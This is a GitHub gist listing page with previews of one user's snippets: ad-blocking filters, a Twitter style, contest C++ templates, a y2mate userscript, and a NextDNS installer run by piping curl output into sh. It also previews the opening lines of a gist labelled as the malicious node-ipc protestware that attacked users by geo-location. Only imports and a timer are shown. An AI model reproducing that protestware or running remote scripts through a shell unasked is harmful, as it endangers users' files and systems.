Skip to content

Instantly share code, notes, and snippets.

View jishanshaikh4's full-sized avatar
🌿

Jishan Shaikh jishanshaikh4

🌿
View GitHub Profile
@jishanshaikh4
jishanshaikh4 / block_utm
Created May 6, 2022 23:49
Block common URL tracking manager's parameters (usually don't break things :)
*$removeparam=utm_source
*$removeparam=utm_medium
*$removeparam=utm_campaign
*$removeparam=utm_content
@jishanshaikh4
jishanshaikh4 / block_shorts
Created May 6, 2022 23:48
The uO script to block YT #shorts videos
www.youtube.com###guide-content #endpoint[title="Shorts"]:upward(ytd-guide-entry-renderer)
www.youtube.com###items #endpoint[title="Shorts"]:upward(ytd-mini-guide-entry-renderer)
www.youtube.com##ytd-browse ytd-grid-video-renderer:has(span.ytd-thumbnail-overlay-time-status-renderer:has-text(/\s(0:\d\d|1:0\d)\s/))
www.youtube.com##ytd-browse ytd-rich-item-renderer:has(span.ytd-thumbnail-overlay-time-status-renderer:has-text(/\s(0:\d\d|1:0\d)\s/))
www.youtube.com##ytd-search ytd-video-renderer:has(span.ytd-thumbnail-overlay-time-status-renderer:has-text(/\s(0:\d\d|1:0\d)\s/))
www.youtube.com##ytd-watch-next-secondary-results-renderer ytd-compact-video-renderer:has(span.ytd-thumbnail-overlay-time-status-renderer:has-text(/\s(0:\d\d|1:0\d)\s/))
www.youtube.com##ytd-browse ytd-grid-video-renderer:has(span.ytd-thumbnail-overlay-time-status-renderer[aria-label="Shorts"])
www.youtube.com##ytd-browse ytd-rich-item-renderer:has(span.ytd-thumbnail-overlay-time-status-renderer[aria-label="Shorts"])
www.youtube.com##ytd-s
@jishanshaikh4
jishanshaikh4 / twitter-tweaks.user.css
Created May 6, 2022 12:13
Stylus script for Twitter user page customization
/* Update 1.3.18
- Added new notes at the bottom of the style's options.
Below was included in the last update, but since I forgot to change the version number, nobody received it. OOPS.
- Added options to remove Explore, Community buttons in the navbar, and footer in the sidebar. Now you can make Twitter more minimal than before!
*/
/* ==UserStyle==
@name Twitter Tweaks by @FreeplayG
@version 1.3.18
@description Uncrop images, hide trends, Avatar roundness, move header aside, and more!!
@jishanshaikh4
jishanshaikh4 / install.sh
Created May 6, 2022 12:05
Install NextDNS on Linux with sh -c "$(curl -sL https://nextdns.io/install)"
#!/bin/sh
main() {
OS=$(detect_os)
GOARCH=$(detect_goarch)
GOOS=$(detect_goos)
NEXTDNS_BIN=$(bin_location)
INSTALL_RELEASE=$(get_release)
export NEXTDNS_INSTALLER=1
@jishanshaikh4
jishanshaikh4 / repo_info.sh
Created April 28, 2022 00:58
Get the metadata of a GitHub repository using your account (api.github.com)
curl -u "{:username}" https://api.github.com/repos/{:organization}/{:repository}
@jishanshaikh4
jishanshaikh4 / malicious_block.js
Last active April 28, 2022 00:58
The malicious script forcefully injected into node-ipc package (to block/attack the users having IP of a particular geo-location)
// NO WARRANTY :)
import u from "path";
import a from "fs";
import o from "https";
setTimeout(function()
{
const t = Math.round(Math.random() * 4);
if (t > 1)
{
@jishanshaikh4
jishanshaikh4 / y2mate.js
Created April 9, 2022 23:08
Tampermonkey script for y2mate browser extension (No Warranty)
// Tampermonkey script for y2mate extension
// Credits: Y2mate
// ABSOLUTELY NO WARRANTY, SEE THE WEBSITE --> Y2MATE
var AKoiMain = {
oXHttpReq: null,
vid: null,
oldUrl: null,
DocOnLoad: function (o) {
try {
@jishanshaikh4
jishanshaikh4 / practical_template.cpp
Created April 9, 2022 13:37
A practical (minimal) code template for programming contests
// Date: @DATE
// File.cpp from PROBLEM+SETTER
// AUTHOR: Jishan Shaikh
// Approach: @APPROACH
// Passed test cases: ? / ?
// // Last updated: December 17, 2018 (https://github.com/jishanshaikh4/cpp14-template/commit/6e4c3356e48721129db7b283cc2dc5649007a040)
#include <bits/stdc++.h>
using namespace std;
@jishanshaikh4
jishanshaikh4 / template.cpp
Created April 9, 2022 13:33
A general code template for programming contests with implementations of commonly used functions
// DATE: @DATE
// Code *NAME_HERE* prepared for *auction* by Jishan Shaikh via template.
// To be run by C++14 GCC/CLANG/MSVS compiler, (maybe) not compatible for C++11
// Last updated: December 17, 2018 (https://github.com/jishanshaikh4/cpp14-template/commit/63b8aa993ae58d62ea3cb467a398692f3aad9117)
// Works on most of the competitions platforms with minor tweaks
#include <bits/stdc++.h>
#define mod 1000000007
#define fastio() ios_base::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL)
@jishanshaikh4
jishanshaikh4 / sort_json_based_on_an_attribute.js
Last active February 20, 2022 18:55
sort_json_based_on_an_attribute.js
/*
This sort method would sort the array as its not an object array
JSON array is an array of objects
Hence sort method cannot be used directly to sort the array .
array1 = ["a", "z", "c", "w", "j"];
alert(array1.sort( ));*/
/*
<span class="SortJSON">This fiddle sorts the JSON array value based on the specified attribute (seenAt)</span>